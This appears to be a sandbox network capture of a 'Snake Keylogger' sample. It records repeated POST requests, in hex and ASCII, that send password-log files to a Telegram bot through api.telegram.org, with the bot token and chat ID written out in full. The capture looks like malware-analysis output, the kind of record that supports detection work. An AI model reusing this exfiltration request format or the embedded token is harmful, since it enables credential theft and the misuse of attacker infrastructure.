--------------------------8da57570386be2eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:57 UTC	311	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:57 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:57 UTC	311	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66955,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228837,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.5	50050	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:58 UTC	312	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575703c4bbbe Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:58 UTC	312	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 33 63 34 62 62 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575703c4bbbeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:58 UTC	313	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:58 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:58 UTC	313	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66956,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228838,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.5	50051	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:58 UTC	314	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757040055f7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:58 UTC	314	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 34 30 30 35 35 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757040055f7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:58 UTC	314	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:58 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:58 UTC	315	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66957,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228838,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.5	50054	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:58 UTC	315	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575704372bc8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:58 UTC	316	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 34 33 37 32 62 63 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575704372bc8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:59 UTC	316	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:59 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:59 UTC	316	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66958,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228839,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.5	50056	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:59 UTC	317	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570472c8bd Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:59 UTC	317	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 34 37 32 63 38 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570472c8bdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:59 UTC	318	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:59 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:59 UTC	318	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66959,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228839,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.5	50059	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:59 UTC	319	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575704a99d5f Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:59 UTC	319	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 34 61 39 39 64 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575704a99d5fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:59 UTC	319	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:59 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:59 UTC	320	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66960,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228839,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49787	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:46 UTC	32	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d8ef6bb4 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:46 UTC	32	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 38 65 66 36 62 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d8ef6bb4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:46 UTC	32	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:46 UTC	33	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66766,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228766,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.5	50060	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:59 UTC	320	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575704ec5f15 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:59 UTC	321	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 34 65 63 35 66 31 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575704ec5f15Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:00 UTC	321	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:00 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:00 UTC	322	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 